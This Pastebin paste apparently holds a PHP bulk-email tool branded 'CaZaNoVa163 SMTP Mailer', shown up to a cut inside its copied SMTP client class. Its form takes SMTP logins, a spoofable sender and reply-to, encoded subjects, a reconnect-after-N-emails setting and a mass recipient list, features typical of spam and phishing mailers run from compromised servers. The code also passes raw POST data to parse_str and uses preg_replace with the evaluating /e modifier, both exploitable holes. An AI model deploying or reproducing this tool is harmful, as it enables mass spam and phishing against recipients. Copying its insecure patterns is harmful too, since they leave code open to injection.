Guest User

smtp

a guest
Jan 29th, 2016
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 99.55 KB | None | 0 0
  1. <?
  2. function query_str($params){
  3. $str = '';
  4. foreach ($params as $key => $value) {
  5. $str .= (strlen($str) < 1) ? '' : '&';
  6. $str .= $key . '=' . rawurlencode($value);
  7. }
  8. return ($str);
  9. }
  10. function lrtrim($string){
  11. return @stripslashes(ltrim(rtrim($string)));
  12. }
  13.  
  14.  
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);
  19. $sslclick=lrtrim($sslclick);
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject=lrtrim($subject);
  32. $realname=lrtrim($realname);
  33. $subject_base=lrtrim($subject);
  34. $realname_base=lrtrim($realname);
  35. $file_name=lrtrim($file);
  36. $urlz=lrtrim($urlz);
  37. $contenttype=lrtrim($contenttype);
  38. $encode_text=$_POST['encode'];
  39.  
  40. $message = urlencode($message);
  41. $message = ereg_replace("%5C%22", "%22", $message);
  42. $message = urldecode($message);
  43. $message = stripslashes($message);
  44. $subject = stripslashes($subject);
  45. if ($encode_text == "yes") {
  46. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47. $subject = str_replace(' ', '_', $subject);
  48. $subject = "=?UTF-8?Q?$subject?=";
  49. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50. $realname = str_replace(' ', '_', $realname);
  51. $realname = "=?UTF-8?Q?$realname?=";
  52. }
  53. }
  54. ?>
  55. <html>
  56. <head>
  57. <title>CaZaNoVa163 SMTP Mailer</title>
  58. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  59. <style type="text/css">
  60. <!--
  61. .style1 {
  62. font-family: Geneva, Arial, Helvetica, sans-serif;
  63. font-size: 12px;
  64. }
  65. -->
  66. </style>
  67. <style type="text/css">
  68. <!--
  69. .style1 {
  70. font-size: 10px;
  71. font-family: Geneva, Arial, Helvetica, sans-serif;
  72. }
  73. -->
  74. body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
  75. #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
  76. .style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  77. .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
  78. .evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
  79. .evalcode:hover{border:1px solid #4C83AF;}
  80. .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
  81. .code:hover{border:1px solid #4C83AF;}
  82. .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
  83. .inputzbut:hover{border:1px solid #4C83AF;}
  84. </style>
  85. </head>
  86. <body text="#000000">
  87. <div id="result">
  88.  
  89. <br /><br />
  90. <div align="center" class="style2">CaZaNoVa163 SMTP Mailer</div>
  91. <br /><br />
  92. </div>
  93. <div id="result">
  94. <form name="form1" method="post" action="" enctype="multipart/form-data">
  95.  
  96. <br>
  97.  
  98. <table width="100%" border="0" height="407">
  99.  
  100. <tr>
  101.  
  102. <td width="100%" colspan="4" bgcolor="#252525" height="36">
  103.  
  104. <b>
  105.  
  106. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  107.  
  108. </tr>
  109. <tr>
  110.  
  111. <td width="10%" height="22" bgcolor="#353535">
  112.  
  113. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  114. SMTP Login:</font></div>
  115.  
  116. </td>
  117.  
  118. <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  119.  
  120. <input class="code" type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  121.  
  122. </font></td>
  123.  
  124. <td width="31%" height="22" bgcolor="#353535">
  125.  
  126. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127. SMTP Pass:</font></div>
  128.  
  129. </td>
  130.  
  131. <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  132.  
  133. <input class="code" type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  134.  
  135. </font></td>
  136.  
  137. </tr>
  138. <tr>
  139.  
  140. <td width="10%" height="22" bgcolor="#353535">
  141.  
  142. <div align="right">
  143.  
  144. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  145.  
  146. </td>
  147.  
  148. <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  149.  
  150. <input class="code" type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  151. (optional)</font></td>
  152.  
  153. <td width="31%" height="22" bgcolor="#353535">
  154.  
  155. <div align="right">
  156.  
  157. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  158. Server Smtp:</font></div>
  159.  
  160. </td>
  161.  
  162. <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  163.  
  164. <input class="code" type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  165.  
  166. </font></td>
  167.  
  168. </tr>
  169.  
  170. <tr>
  171.  
  172. <td width="10%" height="22" bgcolor="#353535">
  173.  
  174. <p align="right">
  175.  
  176. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  177.  
  178. <td width="18%" height="22" bgcolor="#353535">
  179.  
  180. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  181.  
  182. <td width="31%" height="22" bgcolor="#353535">
  183.  
  184. <p align="right">
  185.  
  186. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  187. After:</font></td>
  188.  
  189. <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  190.  
  191. <input class="code" type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  192. EMAILS</font></td>
  193.  
  194. </tr>
  195.  
  196.  
  197. <tr>
  198.  
  199. <td width="10%" height="19">
  200.  
  201. &nbsp;</td>
  202.  
  203. <td width="18%" height="19">&nbsp;</td>
  204.  
  205. <td width="31%" height="19">
  206.  
  207. &nbsp;</td>
  208.  
  209. <td width="41%" height="19">&nbsp;</td>
  210.  
  211. </tr>
  212.  
  213. <tr>
  214.  
  215. <td width="100%" colspan="4" bgcolor="#252525" height="36">
  216.  
  217. <b>
  218.  
  219. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  220.  
  221. </tr>
  222.  
  223. <tr>
  224.  
  225. <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  226.  
  227. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  228. Your Email:</font></div>
  229.  
  230. </td>
  231.  
  232. <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  233.  
  234. <input class="code" type="text" name="from" value="<?=$from;?>" size="30">
  235.  
  236. </font></td>
  237.  
  238. <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
  239.  
  240. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  241. Your Name:</font></div>
  242.  
  243. </td>
  244.  
  245. <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  246.  
  247. <input class="code" type="text" name="realname" value="<?=$realname_base;?>" size="30">
  248.  
  249. </font></td>
  250.  
  251. </tr>
  252. <tr>
  253.  
  254. <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
  255.  
  256. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257.  
  258. Reply-To:</font></div>
  259.  
  260. </td>
  261.  
  262. <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  263.  
  264. <input class="code" type="text" name="replyto" value="<?=$replyto;?>" size="30">
  265.  
  266. </font></td>
  267.  
  268. <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
  269.  
  270. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  271. Email Priority:</font></td>
  272.  
  273. <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  274.  
  275. &nbsp;</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
  276.  
  277. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  278. Please Choose -</option>
  279.  
  280. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  281. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  282. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  283.  
  284. </select></td>
  285.  
  286. </tr>
  287.  
  288. <tr>
  289.  
  290. <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  291.  
  292. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  293. Subject:</font></div>
  294.  
  295. </td>
  296.  
  297. <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  298.  
  299. <input class="code" type="text" name="subject" value="<?=$subject_base;?>" size="90">
  300. &nbsp;&nbsp;&nbsp;&nbsp;
  301. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
  302. <select class="code" name="encode">
  303. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  304.  
  305. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  306. </select>
  307.  
  308. </font></td>
  309.  
  310. </tr>
  311.  
  312.  
  313. <tr valign="top">
  314.  
  315. <td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  316.  
  317. <textarea class="evalcode" name="message" cols="60" rows="10"><?=$message;?></textarea>
  318.  
  319. <br>
  320.  
  321. <input type="radio" name="contenttype" value="plain" >
  322.  
  323. Plain
  324.  
  325. <input type="radio" name="contenttype" value="html" checked>
  326.  
  327. HTML
  328.  
  329. <input type="hidden" name="action" value="send">
  330.  
  331. <input class="inputzbut" type="submit" value="Send Message">
  332.  
  333. </font></td>
  334.  
  335. <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  336.  
  337. <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  338.  
  339. </font></td>
  340. </tr>
  341.  
  342. </table>
  343.  
  344. </form>
  345.  
  346. </div>
  347. <p class="footer" onclick="javascript:DoS()"><blink> &copy;<?php echo date("Y",time())." CaZaNoVa163"; ?></blink></p>
  348. <script>function DoS() { document.location.replace("mailto:djelal-samir@hotmail.fr");} </script>
  349.  
  350. <?
  351.  
  352. if ($action){
  353. if (!$from && !$subject && !$message && !$emaillist){
  354. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  355. die(); }
  356.  
  357. class SMTP
  358. {
  359. /**
  360. * SMTP server port
  361. * @var int
  362. */
  363. var $SMTP_PORT = 25;
  364.  
  365. /**
  366. * SMTP reply line ending
  367. * @var string
  368. */
  369. var $CRLF = "\r\n";
  370.  
  371. /**
  372. * Sets whether debugging is turned on
  373. * @var bool
  374. */
  375. var $do_debug; # the level of debug to perform
  376.  
  377. /**
  378. * Sets VERP use on/off (default is off)
  379. * @var bool
  380. */
  381. var $do_verp = false;
  382.  
  383. /**#@+
  384. * @access private
  385. */
  386. var $smtp_conn; # the socket to the server
  387. var $error; # error if any on the last call
  388. var $helo_rply; # the reply the server sent to us for HELO
  389. /**#@-*/
  390.  
  391. /**
  392. * Initialize the class so that the data is in a known state.
  393. * @access public
  394. * @return void
  395. */
  396. function SMTP() {
  397. $this->smtp_conn = 0;
  398. $this->error = null;
  399. $this->helo_rply = null;
  400.  
  401. $this->do_debug = 0;
  402. }
  403.  
  404. /*************************************************************
  405. * CONNECTION FUNCTIONS *
  406. ***********************************************************/
  407.  
  408. /**
  409. * Connect to the server specified on the port specified.
  410. * If the port is not specified use the default SMTP_PORT.
  411. * If tval is specified then a connection will try and be
  412. * established with the server for that number of seconds.
  413. * If tval is not specified the default is 30 seconds to
  414. * try on the connection.
  415. *
  416. * SMTP CODE SUCCESS: 220
  417. * SMTP CODE FAILURE: 421
  418. * @access public
  419. * @return bool
  420. */
  421. function Connect($host,$port=0,$tval=30) {
  422. # set the error val to null so there is no confusion
  423. $this->error = null;
  424.  
  425. # make sure we are __not__ connected
  426. if($this->connected()) {
  427. # ok we are connected! what should we do?
  428. # for now we will just give an error saying we
  429. # are already connected
  430. $this->error = array("error" => "Already connected to a server");
  431. return false;
  432. }
  433.  
  434. if(empty($port)) {
  435. $port = $this->SMTP_PORT;
  436. }
  437.  
  438. #connect to the smtp server
  439. $this->smtp_conn = fsockopen($host, # the host of the server
  440. $port, # the port to use
  441. $errno, # error number if any
  442. $errstr, # error message if any
  443. $tval); # give up after ? secs
  444. # verify we connected properly
  445. if(empty($this->smtp_conn)) {
  446. $this->error = array("error" => "Failed to connect to server",
  447. "errno" => $errno,
  448. "errstr" => $errstr);
  449. if($this->do_debug >= 1) {
  450. echo "SMTP -> ERROR: " . $this->error["error"] .
  451. ": $errstr ($errno)" . $this->CRLF;
  452. }
  453. return false;
  454. }
  455.  
  456. # sometimes the SMTP server takes a little longer to respond
  457. # so we will give it a longer timeout for the first read
  458. // Windows still does not have support for this timeout function
  459. if(substr(PHP_OS, 0, 3) != "WIN")
  460. socket_set_timeout($this->smtp_conn, $tval, 0);
  461.  
  462. # get any announcement stuff
  463. $announce = $this->get_lines();
  464.  
  465. # set the timeout of any socket functions at 1/10 of a second
  466. //if(function_exists("socket_set_timeout"))
  467. // socket_set_timeout($this->smtp_conn, 0, 100000);
  468.  
  469. if($this->do_debug >= 2) {
  470. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  471. }
  472.  
  473. return true;
  474. }
  475.  
  476. /**
  477. * Performs SMTP authentication. Must be run after running the
  478. * Hello() method. Returns true if successfully authenticated.
  479. * @access public
  480. * @return bool
  481. */
  482. function Authenticate($username, $password) {
  483. // Start authentication
  484. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  485.  
  486. $rply = $this->get_lines();
  487. $code = substr($rply,0,3);
  488.  
  489. if($code != 334) {
  490. $this->error =
  491. array("error" => "AUTH not accepted from server",
  492. "smtp_code" => $code,
  493. "smtp_msg" => substr($rply,4));
  494. if($this->do_debug >= 1) {
  495. echo "SMTP -> ERROR: " . $this->error["error"] .
  496. ": " . $rply . $this->CRLF;
  497. }
  498. return false;
  499. }
  500.  
  501. // Send encoded username
  502. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  503.  
  504. $rply = $this->get_lines();
  505. $code = substr($rply,0,3);
  506.  
  507. if($code != 334) {
  508. $this->error =
  509. array("error" => "Username not accepted from server",
  510. "smtp_code" => $code,
  511. "smtp_msg" => substr($rply,4));
  512. if($this->do_debug >= 1) {
  513. echo "SMTP -> ERROR: " . $this->error["error"] .
  514. ": " . $rply . $this->CRLF;
  515. }
  516. return false;
  517. }
  518.  
  519. // Send encoded password
  520. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  521.  
  522. $rply = $this->get_lines();
  523. $code = substr($rply,0,3);
  524.  
  525. if($code != 235) {
  526. $this->error =
  527. array("error" => "Password not accepted from server",
  528. "smtp_code" => $code,
  529. "smtp_msg" => substr($rply,4));
  530. if($this->do_debug >= 1) {
  531. echo "SMTP -> ERROR: " . $this->error["error"] .
  532. ": " . $rply . $this->CRLF;
  533. }
  534. return false;
  535. }
  536.  
  537. return true;
  538. }
  539.  
  540. /**
  541. * Returns true if connected to a server otherwise false
  542. * @access private
  543. * @return bool
  544. */
  545. function Connected() {
  546. if(!empty($this->smtp_conn)) {
  547. $sock_status = socket_get_status($this->smtp_conn);
  548. if($sock_status["eof"]) {
  549. # hmm this is an odd situation... the socket is
  550. # valid but we are not connected anymore
  551. if($this->do_debug >= 1) {
  552. echo "SMTP -> NOTICE:" . $this->CRLF .
  553. "EOF caught while checking if connected";
  554. }
  555. $this->Close();
  556. return false;
  557. }
  558. return true; # everything looks good
  559. }
  560. return false;
  561. }
  562.  
  563. /**
  564. * Closes the socket and cleans up the state of the class.
  565. * It is not considered good to use this function without
  566. * first trying to use QUIT.
  567. * @access public
  568. * @return void
  569. */
  570. function Close() {
  571. $this->error = null; # so there is no confusion
  572. $this->helo_rply = null;
  573. if(!empty($this->smtp_conn)) {
  574. # close the connection and cleanup
  575. fclose($this->smtp_conn);
  576. $this->smtp_conn = 0;
  577. }
  578. }
  579.  
  580. /***************************************************************
  581. * SMTP COMMANDS *
  582. *************************************************************/
  583.  
  584. /**
  585. * Issues a data command and sends the msg_data to the server
  586. * finializing the mail transaction. $msg_data is the message
  587. * that is to be send with the headers. Each header needs to be
  588. * on a single line followed by a <CRLF> with the message headers
  589. * and the message body being seperated by and additional <CRLF>.
  590. *
  591. * Implements rfc 821: DATA <CRLF>
  592.  
  593. *
  594. * SMTP CODE INTERMEDIATE: 354
  595. * [data]
  596. * <CRLF>.<CRLF>
  597.  
  598. * SMTP CODE SUCCESS: 250
  599. * SMTP CODE FAILURE: 552,554,451,452
  600. * SMTP CODE FAILURE: 451,554
  601. * SMTP CODE ERROR : 500,501,503,421
  602. * @access public
  603. * @return bool
  604. */
  605. function Data($msg_data) {
  606. $this->error = null; # so no confusion is caused
  607.  
  608. if(!$this->connected()) {
  609. $this->error = array(
  610. "error" => "Called Data() without being connected");
  611. return false;
  612. }
  613.  
  614. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  615.  
  616. $rply = $this->get_lines();
  617. $code = substr($rply,0,3);
  618.  
  619. if($this->do_debug >= 2) {
  620. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  621. }
  622.  
  623. if($code != 354) {
  624. $this->error =
  625. array("error" => "DATA command not accepted from server",
  626. "smtp_code" => $code,
  627. "smtp_msg" => substr($rply,4));
  628. if($this->do_debug >= 1) {
  629. echo "SMTP -> ERROR: " . $this->error["error"] .
  630. ": " . $rply . $this->CRLF;
  631. }
  632. return false;
  633. }
  634.  
  635. # the server is ready to accept data!
  636. # according to rfc 821 we should not send more than 1000
  637. # including the CRLF
  638. # characters on a single line so we will break the data up
  639. # into lines by \r and/or \n then if needed we will break
  640. # each of those into smaller lines to fit within the limit.
  641. # in addition we will be looking for lines that start with
  642. # a period '.' and append and additional period '.' to that
  643. # line. NOTE: this does not count towards are limit.
  644.  
  645. # normalize the line breaks so we know the explode works
  646. $msg_data = str_replace("\r\n","\n",$msg_data);
  647. $msg_data = str_replace("\r","\n",$msg_data);
  648. $lines = explode("\n",$msg_data);
  649.  
  650. # we need to find a good way to determine is headers are
  651. # in the msg_data or if it is a straight msg body
  652. # currently I am assuming rfc 822 definitions of msg headers
  653. # and if the first field of the first line (':' sperated)
  654. # does not contain a space then it _should_ be a header
  655. # and we can process all lines before a blank "" line as
  656. # headers.
  657. $field = substr($lines[0],0,strpos($lines[0],":"));
  658. $in_headers = false;
  659. if(!empty($field) && !strstr($field," ")) {
  660. $in_headers = true;
  661. }
  662.  
  663. $max_line_length = 998; # used below; set here for ease in change
  664.  
  665. while(list(,$line) = @each($lines)) {
  666. $lines_out = null;
  667. if($line == "" && $in_headers) {
  668. $in_headers = false;
  669. }
  670. # ok we need to break this line up into several
  671. # smaller lines
  672. while(strlen($line) > $max_line_length) {
  673. $pos = strrpos(substr($line,0,$max_line_length)," ");
  674.  
  675. # Patch to fix DOS attack
  676. if(!$pos) {
  677. $pos = $max_line_length - 1;
  678. }
  679.  
  680. $lines_out[] = substr($line,0,$pos);
  681. $line = substr($line,$pos + 1);
  682. # if we are processing headers we need to
  683. # add a LWSP-char to the front of the new line
  684. # rfc 822 on long msg headers
  685. if($in_headers) {
  686. $line = "\t" . $line;
  687. }
  688. }
  689. $lines_out[] = $line;
  690.  
  691. # now send the lines to the server
  692. while(list(,$line_out) = @each($lines_out)) {
  693. if(strlen($line_out) > 0)
  694. {
  695. if(substr($line_out, 0, 1) == ".") {
  696. $line_out = "." . $line_out;
  697. }
  698. }
  699. fputs($this->smtp_conn,$line_out . $this->CRLF);
  700. }
  701. }
  702.  
  703. # ok all the message data has been sent so lets get this
  704. # over with aleady
  705. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  706.  
  707. $rply = $this->get_lines();
  708. $code = substr($rply,0,3);
  709.  
  710. if($this->do_debug >= 2) {
  711. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  712. }
  713.  
  714. if($code != 250) {
  715. $this->error =
  716. array("error" => "DATA not accepted from server",
  717. "smtp_code" => $code,
  718. "smtp_msg" => substr($rply,4));
  719. if($this->do_debug >= 1) {
  720. echo "SMTP -> ERROR: " . $this->error["error"] .
  721. ": " . $rply . $this->CRLF;
  722. }
  723. return false;
  724. }
  725. return true;
  726. }
  727.  
  728. /**
  729. * Expand takes the name and asks the server to list all the
  730. * people who are members of the _list_. Expand will return
  731. * back and array of the result or false if an error occurs.
  732. * Each value in the array returned has the format of:
  733. * [ <full-name> <sp> ] <path>
  734.  
  735. * The definition of <path> is defined in rfc 821
  736. *
  737. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  738.  
  739. *
  740. * SMTP CODE SUCCESS: 250
  741. * SMTP CODE FAILURE: 550
  742. * SMTP CODE ERROR : 500,501,502,504,421
  743. * @access public
  744. * @return string array
  745. */
  746. function Expand($name) {
  747. $this->error = null; # so no confusion is caused
  748.  
  749. if(!$this->connected()) {
  750. $this->error = array(
  751. "error" => "Called Expand() without being connected");
  752. return false;
  753. }
  754.  
  755. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  756.  
  757. $rply = $this->get_lines();
  758. $code = substr($rply,0,3);
  759.  
  760. if($this->do_debug >= 2) {
  761. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  762. }
  763.  
  764. if($code != 250) {
  765. $this->error =
  766. array("error" => "EXPN not accepted from server",
  767. "smtp_code" => $code,
  768. "smtp_msg" => substr($rply,4));
  769. if($this->do_debug >= 1) {
  770. echo "SMTP -> ERROR: " . $this->error["error"] .
  771. ": " . $rply . $this->CRLF;
  772. }
  773. return false;
  774. }
  775.  
  776. # parse the reply and place in our array to return to user
  777. $entries = explode($this->CRLF,$rply);
  778. while(list(,$l) = @each($entries)) {
  779. $list[] = substr($l,4);
  780. }
  781.  
  782. return $list;
  783. }
  784.  
  785. /**
  786. * Sends the HELO command to the smtp server.
  787. * This makes sure that we and the server are in
  788. * the same known state.
  789. *
  790. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  791. *
  792. * SMTP CODE SUCCESS: 250
  793. * SMTP CODE ERROR : 500, 501, 504, 421
  794. * @access public
  795. * @return bool
  796. */
  797. function Hello($host="") {
  798. $this->error = null; # so no confusion is caused
  799.  
  800. if(!$this->connected()) {
  801. $this->error = array(
  802. "error" => "Called Hello() without being connected");
  803. return false;
  804. }
  805.  
  806. # if a hostname for the HELO was not specified determine
  807. # a suitable one to send
  808. if(empty($host)) {
  809. # we need to determine some sort of appopiate default
  810. # to send to the server
  811. $host = "localhost";
  812. }
  813.  
  814. // Send extended hello first (RFC 2821)
  815. if(!$this->SendHello("EHLO", $host))
  816. {
  817. if(!$this->SendHello("HELO", $host))
  818. return false;
  819. }
  820.  
  821. return true;
  822. }
  823.  
  824. /**
  825. * Sends a HELO/EHLO command.
  826. * @access private
  827. * @return bool
  828. */
  829. function SendHello($hello, $host) {
  830. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  831.  
  832. $rply = $this->get_lines();
  833. $code = substr($rply,0,3);
  834.  
  835. if($this->do_debug >= 2) {
  836. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  837. }
  838.  
  839. if($code != 250) {
  840. $this->error =
  841. array("error" => $hello . " not accepted from server",
  842. "smtp_code" => $code,
  843. "smtp_msg" => substr($rply,4));
  844. if($this->do_debug >= 1) {
  845. echo "SMTP -> ERROR: " . $this->error["error"] .
  846. ": " . $rply . $this->CRLF;
  847. }
  848. return false;
  849. }
  850.  
  851. $this->helo_rply = $rply;
  852.  
  853. return true;
  854. }
  855.  
  856. /**
  857. * Gets help information on the keyword specified. If the keyword
  858. * is not specified then returns generic help, ussually contianing
  859. * A list of keywords that help is available on. This function
  860. * returns the results back to the user. It is up to the user to
  861. * handle the returned data. If an error occurs then false is
  862. * returned with $this->error set appropiately.
  863. *
  864. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  865.  
  866. *
  867. * SMTP CODE SUCCESS: 211,214
  868. * SMTP CODE ERROR : 500,501,502,504,421
  869. * @access public
  870. * @return string
  871. */
  872. function Help($keyword="") {
  873. $this->error = null; # to avoid confusion
  874.  
  875. if(!$this->connected()) {
  876. $this->error = array(
  877. "error" => "Called Help() without being connected");
  878. return false;
  879. }
  880.  
  881. $extra = "";
  882. if(!empty($keyword)) {
  883. $extra = " " . $keyword;
  884. }
  885.  
  886. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  887.  
  888. $rply = $this->get_lines();
  889. $code = substr($rply,0,3);
  890.  
  891. if($this->do_debug >= 2) {
  892. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  893. }
  894.  
  895. if($code != 211 && $code != 214) {
  896. $this->error =
  897. array("error" => "HELP not accepted from server",
  898. "smtp_code" => $code,
  899. "smtp_msg" => substr($rply,4));
  900. if($this->do_debug >= 1) {
  901. echo "SMTP -> ERROR: " . $this->error["error"] .
  902. ": " . $rply . $this->CRLF;
  903. }
  904. return false;
  905. }
  906.  
  907. return $rply;
  908. }
  909.  
  910. /**
  911. * Starts a mail transaction from the email address specified in
  912. * $from. Returns true if successful or false otherwise. If True
  913. * the mail transaction is started and then one or more Recipient
  914. * commands may be called followed by a Data command.
  915. *
  916. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  917.  
  918. *
  919. * SMTP CODE SUCCESS: 250
  920. * SMTP CODE SUCCESS: 552,451,452
  921. * SMTP CODE SUCCESS: 500,501,421
  922. * @access public
  923. * @return bool
  924. */
  925. function Mail($from) {
  926. $this->error = null; # so no confusion is caused
  927.  
  928. if(!$this->connected()) {
  929. $this->error = array(
  930. "error" => "Called Mail() without being connected");
  931. return false;
  932. }
  933.  
  934. $useVerp = ($this->do_verp ? "XVERP" : "");
  935. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  936.  
  937. $rply = $this->get_lines();
  938. $code = substr($rply,0,3);
  939.  
  940. if($this->do_debug >= 2) {
  941. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  942. }
  943.  
  944. if($code != 250) {
  945. $this->error =
  946. array("error" => "MAIL not accepted from server",
  947. "smtp_code" => $code,
  948. "smtp_msg" => substr($rply,4));
  949. if($this->do_debug >= 1) {
  950. echo "SMTP -> ERROR: " . $this->error["error"] .
  951. ": " . $rply . $this->CRLF;
  952. }
  953. return false;
  954. }
  955. return true;
  956. }
  957.  
  958. /**
  959. * Sends the command NOOP to the SMTP server.
  960. *
  961. * Implements from rfc 821: NOOP <CRLF>
  962. *
  963. * SMTP CODE SUCCESS: 250
  964. * SMTP CODE ERROR : 500, 421
  965. * @access public
  966. * @return bool
  967. */
  968. function Noop() {
  969. $this->error = null; # so no confusion is caused
  970.  
  971. if(!$this->connected()) {
  972. $this->error = array(
  973. "error" => "Called Noop() without being connected");
  974. return false;
  975. }
  976.  
  977. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  978.  
  979. $rply = $this->get_lines();
  980. $code = substr($rply,0,3);
  981.  
  982. if($this->do_debug >= 2) {
  983. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  984. }
  985.  
  986. if($code != 250) {
  987. $this->error =
  988. array("error" => "NOOP not accepted from server",
  989. "smtp_code" => $code,
  990. "smtp_msg" => substr($rply,4));
  991. if($this->do_debug >= 1) {
  992. echo "SMTP -> ERROR: " . $this->error["error"] .
  993. ": " . $rply . $this->CRLF;
  994. }
  995. return false;
  996. }
  997. return true;
  998. }
  999.  
  1000. /**
  1001. * Sends the quit command to the server and then closes the socket
  1002. * if there is no error or the $close_on_error argument is true.
  1003. *
  1004. * Implements from rfc 821: QUIT <CRLF>
  1005.  
  1006. *
  1007. * SMTP CODE SUCCESS: 221
  1008. * SMTP CODE ERROR : 500
  1009. * @access public
  1010. * @return bool
  1011. */
  1012. function Quit($close_on_error=true) {
  1013. $this->error = null; # so there is no confusion
  1014.  
  1015. if(!$this->connected()) {
  1016. $this->error = array(
  1017. "error" => "Called Quit() without being connected");
  1018. return false;
